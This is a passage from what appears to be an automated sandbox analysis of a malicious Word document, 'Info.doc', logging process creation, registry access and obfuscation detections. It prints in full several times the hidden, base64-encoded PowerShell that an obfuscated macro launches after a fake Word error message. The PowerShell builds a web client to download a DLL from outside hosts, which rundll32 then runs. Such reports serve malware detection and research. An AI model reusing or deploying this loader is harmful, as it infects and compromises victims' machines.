MQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll #1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll #1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bjbj\rqtl.dgq',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Frxh\ggkviq.cnk',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zgwl\aiycp.wss',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cqxs\necppp.cgm',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Oxpl\fwcrxow.muo',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pnjy\rwrr.fge',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qaqt\yasnhb.kgm',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hudb\deul.ebq',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ohxf\pnwx.dib',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jpux\rkm.xqv',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Oxtv\rmjj.sjq',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pwzo\iducd.mjn',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gfwk\bavnhqr.pvy',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dbsb\hxixh.nee',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yvvm\ving.mzt',RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Puve\yoqqjfh.eoi',RunDLL
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll #1 Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll #1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bjbj\rqtl.dgq',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Frxh\ggkviq.cnk',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zgwl\aiycp.wss',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cqxs\necppp.cgm',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Oxpl\fwcrxow.muo',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pnjy\rwrr.fge',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qaqt\yasnhb.kgm',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hudb\deul.ebq',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ohxf\pnwx.dib',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jpux\rkm.xqv',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Oxtv\rmjj.sjq',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pwzo\iducd.mjn',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gfwk\bavnhqr.pvy',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dbsb\hxixh.nee',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yvvm\ving.mzt',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Puve\yoqqjfh.eoi',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Window found: window name: SysTabControl32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2095683883.0000000001E27000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2095755658.0000000002080000.00000002.00000001.sdmp
Source: Info.doc Initial sample: OLE summary subject = Granite Kids & Beauty Director portals interface well-modulated white Web robust Wyoming Lodge database action-items

Data Obfuscation:

barindex
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Source: Info.doc Stream path 'Macros/VBA/E2ajbo3kwzka_d5z' : High number of GOTO operations
Source: VBA code instrumentation OLE, VBA macro, High number of GOTO operations: Module E2ajbo3kwzka_d5z Name: E2ajbo3kwzka_d5z
PowerShell case anomaly found
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnA
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0